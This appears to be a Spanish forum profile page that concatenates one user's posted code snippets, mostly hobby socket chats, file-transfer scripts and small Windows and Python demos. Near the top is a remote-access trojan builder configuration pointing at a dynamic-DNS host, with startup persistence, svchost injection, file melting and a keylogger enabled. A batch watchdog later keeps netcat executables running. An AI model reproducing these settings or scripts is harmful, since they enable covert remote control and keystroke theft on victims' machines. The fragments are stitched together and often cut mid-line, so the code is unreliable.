Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
un saludo!
- Connection
Connect to: itdoesntmatter.zapto.org:3460:0,
ID: test
Group:
Password: admin
Connect through proxy: No
- Install
HKLM/run Startup: Yes
Entry Name: srccs.exe
Copy File: Yes
File Name: srccs.exe
Copy File To: System Folder
Copy to Alternate Data Streams: Yes
Melt File: Yes
- Advanced
Process Mutex: )!VoqA.I4
Inject Server: Yes
Persistence: Yes
Inject into running process: Yes
Inject into: svchost.exe
Key Logger: Yes
Format: PE
File Alignment: 512
- Build
Icon: No
Execute Third-party Applications: No
#include <stdio.h>
#include <windows.h>
int main()
{
HWND ventana,ventana1;
char texto[]="hola";
ventana=FindWindow(NULL,"Sin título - Bloc de notas");
SetForegroundWindow(ventana);
ventana1=FindWindowEx(ventana, 0, "Edit", 0);
SendMessage(ventana1,WM_SETTEXT,0,(long)texto);
}#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <stdio.h>
/*linkamos a la libreria del winsock, también puedes hacerlo desde
project->settings->link si usas ms visual c++ */
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in local;
int len=0;
char Buffer[1024];
//Inicializamos
WSAStartup(MAKEWORD(2,0),&wsa);
//Creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//defnimos dirección por defecto, ipv4 y el puerto 9999
local.sin_family = AF_INET;
local.sin_addr.s_addr = INADDR_ANY;
local.sin_port = htons(9999);
//asociamos el socket al puerto
if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
{
printf("error en el bind\n");
return -1;
}
//ponemos el socket a la escucha
if (listen(sock,1)==-1)
{
printf("error en el listen\n");
return -1;
}
len=sizeof(struct sockaddr);
//hay una conexión entrante y la aceptamos
sock=accept(sock,(sockaddr*)&local,&len);
printf("[SERVIDOR MiniXat para tutorial de sockets MazarDZone Foro]\n");
printf("[Cuando se vaya recibiendo texto aparecera en pantalla ]\n");
while (len!=0) //mientras estemos conectados con el otro pc
{ len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
if (len>0) //si seguimos conectados
{
Buffer[len]=0; //le ponemos el final de cadena
printf("Texto recibido:%s",Buffer); //imprimimos la cadena recibida
}
}
return 0;
}@echo off
start netcat_java.vbs
start netcat_control.vbs
:comprovar
tasklist | findstr "ncraro.exe"
if %ERRORLEVEL% EQU 1 start "netcat_control.vbs" & goto :miralatre
if %ERRORLEVEL% EQU 0 goto :miralatre
:miralatre
tasklist | findstr "ncjava.exe"
if %ERRORLEVEL% EQU 1 start "netcat_java.vbs" & ping localhost -n 20 2> nul & goto :comprovar
if %ERRORLEVEL% EQU 0 ping localhost -n 20 2> nul & goto :comprovar
#!/bin/sh
mencoder out.ogg -o video.avi -ovc lavc -oac mp3lamemencoder out.ogg -o video.avi -ovc lavc -oac mp3lame# enviar.py v1.2
# -*- coding: cp1252 -*-
# ---------------
# Changelog:
# + Diccionaris
# + Avisos de lectura i transferencia
# + Funcions de mida d'arxiu
# importamos los modulos necesarios:
import socket, os
# definimos el puerto de control CPORT y el puerto multimedia MPORT
CPORT = 9091
MPORT = 9090
# una funcion para transformar un tamaño en bytes a un tamaño más fácil de leer:
def midafap(mida):
sufixos = [("B",2**10), ("K",2**20), ("M",2**30), ("G",2**40), ("T",2**50)]
for suf, lim in sufixos:
if mida > lim:
continue
else:
return round(mida/float(lim/2**10),2).__str__()+suf
print "Enviar arxius per INTRnet!"
# un diccionario, esto es por comodidad mía
# pedimos dónde estamos: el instituto, casa, o solo, para probar cosas
sel = raw_input("Indica el host remot(institut, casa, sol): ")
insdic = {"FAPFAPFAP" : '192.168.171.12',
"FAPFAP" : '192.168.171.17',
"FAP" : '192.168.171.19'}
casadic = {"SERVER" : '192.168.1.34'}
soldic = {"Me" : 'localhost'}
# ahora tenemos un diccionario dentro de otro:
bigdic = {"institut" : insdic,
"casa" : casadic,
"sol" : soldic}
final = bigdic[sel]
print final
# si hemos elegido "institut", nos dirá las IPs y escribimos FAPFAPFAP.
sel2 = raw_input("Indica el host remot de la llista: ")
HOST = final[sel2]
# el archivo en sí
FILE = raw_input("Arrossega l'arxiu: ")
# cambiamos comillas, para evitar errores en los archivos con espacios:
FILE = FILE.replace('"', '')
# creamos un socket que envía la ruta del archivo:
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# se conecta al puerto de control:
cs.connect((HOST, CPORT))
# envía la ruta del archivo:
cs.send("SEND " + FILE)
cs.close()
# otro socket, que envía el archivo:
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# se conecta al puerto multimedia:
ms.connect((HOST, MPORT))
# abrimos el archivo para leerlo:
f = open(FILE, "rb")
data = f.read()
f.close()
# obtenemos el tamaño del archivo, en bytes:
midabytes = os.path.getsize(FILE)
# usamos la función anterior para convertir el tamaño:
# Archivo guarra.fap leído (682,13M)
print "Arxiu ", FILE, "llegit (", str(midafap(midabytes)), ")."
# enviamos los datos del archivo:
ms.send(data)
ms.close()
# fin
print "Arxiu ", FILE, "enviat (", str(midafap(midabytes)), ")."
raw_input("Prem una tecla per tancar...")
# rebre.py
# importamos módulos, unos cuantos más...
import os, socket, time, string, sys, urlparse
from threading import *
#------------------------------------------------------------------------
# creamos un objeto de tipo StreamHandler:
class StreamHandler ( Thread ):
#creamos un inicializador:
def __init__( this ):
Thread.__init__( this ) # nos referimos al objeto mismo
def run(this):
this.process() #aquí tenemos un método que nos muestra que estamos trabajando con objetos de tipo socket.
def bindmsock( this ):
this.msock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# enlazamos el "this" al puerto 9090 (Multimedia):
this.msock.bind(('', 9090))
this.msock.listen(1)
print '[INTR] Esperant al port 9090'
def acceptmsock( this ):
# aceptamos la conexión...
this.mconn, this.maddr = this.msock.accept()
print '[INTR] Ieepa, es connecta', this.maddr
def bindcsock( this ):
# enlazamos al puerto 9091 (Control):
this.csock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
this.csock.bind(('', 9091))
this.csock.listen(1)
print '[Control] Esperant al port 9091'
def acceptcsock( this ):
# aceptamos...
this.cconn, this.maddr = this.csock.accept()
print '[Control] Ieepa, es connecta', this.maddr
while 1:
# captamos datos:
data = this.cconn.recv(1024)
if not data: break
# si los datos recibidos empiezan por SEND, captamos el nombre de archivo
if data[0:4] == "SEND": this.filename = data[5:]
print '[Control] Preparat per rebre "%s"' % this.filename
break
def transfer( this ):
print '[INTR] Transferint dades de "%s"' % this.filename
# captamos solamente el nombre de archivo y su extensión:
nomfinal = os.path.basename(this.filename)
# lo guardamos en el directorio de Recibido
f = open("C:/INTRnet/Rebut/"+nomfinal,"wb")
# ahora, el bucle que captura datos en sí:
while 1:
data = this.mconn.recv(1024)
if not data: break
f.write(data)
f.close()
# hemos escrito los datos en el nuevo archivo
print '[Media] Rebut "%s"' % this.filename
print '[Media] Tancant el flux de "%s"' % this.filename
os.popen("msg.exe * S'ha rebut l'arxiu "+ nomfinal)
# y ya hemos recibido el archivo!
def close( this ):
# cerramos todos los sockets:
this.cconn.close()
this.csock.close()
this.mconn.close()
this.msock.close()
def process( this ):
# siempre aceptamos las conexion
while 1:
this.bindcsock()
this.acceptcsock()
this.bindmsock()
this.acceptmsock()
this.transfer()
this.close()
#------------------------------------------------------------------------
# creamos un objeto StreamHandler:
s = StreamHandler()
# usamos el método de Thread (dentro del módulo threading) para iniciar:
s.start()
#fin
@echo off
at (12 de noviembre a las 10:15) start "C:\video.avi"#!/usr/bin/env python
# -*- coding: cp1252 -*-
f = open("log.txt", "a")
while 1:
log = raw_input("")
if log == '\n':
f.write("\n")
if log == '\r':
f.write("\r")
elif log == '\t':
f.write("\t")
elif log == "\\":
f.write("\\")
elif log == "\'":
f.write("'")
elif log == "\"":
f.write("\"")
elif log == "\b":
f.write(log[:-3])
else:
f.write(log)
#!/usr/bin/env python
# -*- coding: cp1252 -*-
import socket, sys
print "### --- * --- Servidor del PyXat activat --- * --- ###"
print "\n\n\n"
print "Creant objecte connector - socket..."
try:
serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except IOError:
print "Error: No s'ha pogut crear l'objecte principal socket!"
sys.exit(1)
print "Objecte connector - socket principal creat ... OK"
print "Fixant objecte connector - socket..."
try:
serv.bind(("localhost", 600))
except socket.error:
print "Error: No s'ha pogut fixar l'objecte principal socket!"
sys.exit(1)
print "Objecte connector - socket principal fixat ... OK"
try:
llist = int(input('Quantes connexions accepto? '))
except ValueError:
print 'Indica un número!'
sys.exit(1)
print 'Ok, creant ' , llist , ' espais de connexió...'
serv.listen(llist)
print llist , 'espais de connexió creats al xat ... OK'
print "Creant sistema de connexió..."
def conn():
enviar = socket.socket()
sv, addr = serv.accept()
con = socket.socket()
print addr , "s'ha connectat!"
host = addr[0]
port = addr[1]
while True:
msg = sv.recv(1024)
enviar.connect((host, port))
enviar.send(msg)
print msg
print "Iniciant sistema de connexió..."
conn()
#!/usr/bin/env python
# -*- coding: cp1252 -*-
import socket
print "Benvingut al PyXat!"
nick = raw_input("Escriu el teu nick: ")
sala = raw_input("Escriu la direcció d'una sala: ")
c = socket.socket()
c.connect((sala, 600))
while 1:
dic = raw_input("> ")
c.send(nick)
c.send(dic)
). (ya hay suficientes tutoriales de py2exe).wpm -s -i -h -l No se esperaba GOTO en este momento.El valor de la clave "HKCU\Control Panel\Desktop\ConvertedWallpaper" es "C:\Wallpapers\mi_fondo.bmp"C:\Documents and Settings\Waaya>^G (o sea Control + G)print "CALCULADORA BASICA EN PYTHON"
print "Escriu el primer numero: "
unum = raw_input("> ")
print "-------------------------------------------------------"
print "Escriu el segon numero: "
dnum = raw_input("> ")
def suma(x, y):
return x + y
print "I la suma es... "
print suma(unum, dnum)
print "Gracies per usar la Calculadora!"
raw_input()
type(unum)
).